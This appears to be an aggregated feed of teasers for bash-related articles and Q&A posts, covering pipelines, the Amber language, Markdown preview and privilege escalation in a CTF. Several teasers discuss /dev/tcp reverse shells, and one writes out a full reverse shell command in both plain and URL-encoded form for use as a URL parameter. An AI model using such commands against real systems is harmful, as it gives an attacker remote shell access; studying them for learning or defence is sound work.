Linux Fu: Failing Pipelines

Bash is great for automating little tasks, but sometimes a little script you think will take a minute to write turns into a half hour or more. This is the …read more Continue reading Linux Fu: Failing Pipelines
Collaborate Disseminate
Bash is great for automating little tasks, but sometimes a little script you think will take a minute to write turns into a half hour or more. This is the …read more Continue reading Linux Fu: Failing Pipelines
This week Jonathan Bennett and Dan Lynch chat with Paweł Karaś about Amber, a modern scripting language that compiles into a Bash script. Want to write scripts with built-in error …read more Continue reading FLOSS Weekly Episode 790: Better Bash Scripting with Amber
Markdown has become an extremely popular way to document source code and other projects, thanks in no small part to how well web-based services like GitHub render it. Just sprinkle …read more Continue reading Preview Markdown in the Terminal with Bash
I was working on a Capture the Flag (CTF) challenge that involved a setuid-enabled binary, ‘/usr/bin/python’, where the owner is ‘root.’ I assumed the user was "www-data", with UID=33.
The goal was to create a bash shell with RUI… Continue reading Python os.system() does not change EUID to 0, but os.execl() does, why? [duplicate]
It certainly isn’t a new idea to compile a language into an intermediate language. The original C++ compiler outputs C code, for example. Enhanced versions of Fortran were often just …read more Continue reading Amber Compiles to Bash
[Michael Lynch] encountered a strange situation. Why was compiling then running his program nearly 10x faster than just running the program by itself? [Michael] ran into this issue while benchmarking …read more Continue reading Is Your Mental Model of Bash Pipelines Wrong?
I am studying a reverse shell created by /dev/tcp.
When you create a tcp socket using /dev/tcp, it ends its connection immediately after
data is sent. But when you create a reverse shell by bash > /dev/tcp 0<&1, it keeps the tcp … Continue reading How does bash > /dev/tcp/"ip"/"port" 0<&1 keep connection alive? [closed]
We all have a folder full of images whose filenames resemble line noise. How about renaming those images with the help of a local LLM (large language model) executable on …read more Continue reading Using Local AI on the Command Line To Rename Images (And More)
i wanna execute ls command inplace of the output being "your name is ls"
is there a way to do it ?
read -p "name??" name
echo "your name is $name"
I try to put bash reverse shell as a URL parameter. The command is as follows:
bash -i >& /dev/tcp/192.168.56.105/4444 0>&1
I have encoded the above code with URL encoding
bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.105%2… Continue reading Bash reverse shell as a URL parameter value